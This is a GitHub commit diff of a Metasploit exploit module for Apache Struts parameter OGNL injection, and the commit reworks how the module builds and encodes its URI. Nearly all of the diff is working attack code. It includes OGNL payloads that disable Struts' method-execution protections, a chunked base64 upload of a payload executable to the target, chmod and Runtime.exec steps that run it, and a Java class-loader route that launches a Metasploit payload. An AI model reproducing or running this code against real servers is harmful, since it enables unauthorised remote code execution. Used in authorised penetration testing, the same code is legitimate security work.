Skip to content

Commit 6f83771

Browse files
committed
Land rapid7#3343, @firefart's new uri encoding for struts_code_exec_parameters
2 parents dba2473 + 38f3a19 commit 6f83771

File tree

1 file changed

+48
-30
lines changed

1 file changed

+48
-30
lines changed

modules/exploits/multi/http/struts_code_exec_parameters.rb

Lines changed: 48 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,8 @@ def initialize(info = {})
2727
[
2828
'Meder Kydyraliev', # Vulnerability Discovery and PoC
2929
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
30-
'mihi' #ARCH_JAVA support
30+
'mihi', #ARCH_JAVA support
31+
'Christian Mehlmauer' # Metasploit Module
3132
],
3233
'License' => MSF_LICENSE,
3334
'References' =>
@@ -66,75 +67,93 @@ def initialize(info = {})
6667
register_options(
6768
[
6869
Opt::RPORT(8080),
69-
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',"username"]),
70-
OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/blank-struts2/login.action?INJECT"]),
71-
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
70+
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.','username']),
71+
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
72+
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]),
73+
OptString.new('GET_PARAMETERS', [ false, 'Additional GET Parameters to send. Please supply in the format "param1=a&param2=b". Do apply URL encoding to the parameters names and values if needed.', nil]),
7274
], self.class)
7375
end
7476

75-
def execute_command(cmd, opts = {})
76-
inject = "PARAMETERTOKEN=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=+new+java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
77-
inject << "=+new+java.lang.Boolean(true),CMD)('meh')&z[(PARAMETERTOKEN)(meh)]=true"
78-
inject.gsub!(/PARAMETERTOKEN/,Rex::Text::uri_encode(datastore['PARAMETER']))
79-
inject.gsub!(/CMD/,Rex::Text::uri_encode(cmd))
80-
uri = String.new(datastore['TARGETURI'])
81-
uri = normalize_uri(uri)
82-
uri.gsub!(/INJECT/,inject) # append the injection string
77+
def parameter
78+
datastore['PARAMETER']
79+
end
80+
81+
def get_parameter
82+
retval = {}
83+
return retval unless datastore['GET_PARAMETERS']
84+
splitted = datastore['GET_PARAMETERS'].split('&')
85+
return retval if splitted.nil? || splitted.empty?
86+
splitted.each { |item|
87+
name, value = item.split('=')
88+
# no check here, value can be nil if parameter is &param
89+
decoded_name = name ? Rex::Text::uri_decode(name) : nil
90+
decoded_value = value ? Rex::Text::uri_decode(value) : nil
91+
retval[decoded_name] = decoded_value
92+
}
93+
retval
94+
end
95+
96+
def execute_command(cmd)
97+
junk = Rex::Text.rand_text_alpha(6)
98+
inject = "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
99+
inject << "= new java.lang.Boolean(true),#{cmd})('#{junk}')"
100+
uri = normalize_uri(datastore['TARGETURI'])
83101
resp = send_request_cgi({
84102
'uri' => uri,
85103
'version' => '1.1',
86104
'method' => 'GET',
105+
'vars_get' => { parameter => inject, "z[(#{parameter})(#{junk})]" => 'true' }.merge(get_parameter)
87106
})
88-
return resp #Used for check function.
107+
resp
89108
end
90109

91110
def exploit
92111
#Set up generic values.
93-
@payload_exe = rand_text_alphanumeric(4+rand(4))
112+
payload_exe = rand_text_alphanumeric(4 + rand(4))
94113
pl_exe = generate_payload_exe
95-
append = 'false'
114+
append = false
96115
#Now arch specific...
97116
case target['Platform']
98117
when 'linux'
99-
@payload_exe = "/tmp/#{@payload_exe}"
100-
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
101-
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
118+
payload_exe = "/tmp/#{payload_exe}"
119+
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{payload_exe}\".split(\"_\"))"
120+
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{payload_exe}\".split(\"_\"))"
102121
when 'java'
103-
@payload_exe << ".jar"
122+
payload_exe << ".jar"
104123
pl_exe = payload.encoded_jar.pack
105-
exec_cmd = ""
124+
exec_cmd = ''
106125
exec_cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
107126
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
108127
exec_cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
109128
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
110-
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
129+
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{payload_exe}').toURI().toURL()}),"
111130
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
112131
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
113132
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
114133
when 'windows'
115-
@payload_exe = "./#{@payload_exe}.exe"
116-
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
134+
payload_exe = "./#{payload_exe}.exe"
135+
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')"
117136
else
118137
fail_with(Failure::NoTarget, 'Unsupported target platform!')
119138
end
120139

121140
#Now with all the arch specific stuff set, perform the upload.
122141
#109 = length of command string plus the max length of append.
123-
sub_from_chunk = 109 + @payload_exe.length + datastore['TARGETURI'].length + datastore['PARAMETER'].length
142+
sub_from_chunk = 109 + payload_exe.length + datastore['TARGETURI'].length + parameter.length
124143
chunk_length = 2048 - sub_from_chunk
125-
chunk_length = ((chunk_length/4).floor)*3
144+
chunk_length = ((chunk_length/4).floor) * 3
126145
while pl_exe.length > chunk_length
127-
java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
146+
java_upload_part(pl_exe[0,chunk_length], payload_exe, append)
128147
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
129148
append = true
130149
end
131-
java_upload_part(pl_exe,@payload_exe,append)
150+
java_upload_part(pl_exe, payload_exe, append)
132151
execute_command(chmod_cmd) if target['Platform'] == 'linux'
133152
execute_command(exec_cmd)
134-
register_files_for_cleanup(@payload_exe)
153+
register_files_for_cleanup(payload_exe)
135154
end
136155

137-
def java_upload_part(part, filename, append = 'false')
156+
def java_upload_part(part, filename, append = false)
138157
cmd = ""
139158
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
140159
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
@@ -151,7 +170,6 @@ def check
151170
t2 = Time.now
152171
delta = t2 - t1
153172

154-
155173
if response.nil?
156174
return Exploit::CheckCode::Safe
157175
elsif delta < sleep_time

0 commit comments

Comments
 (0)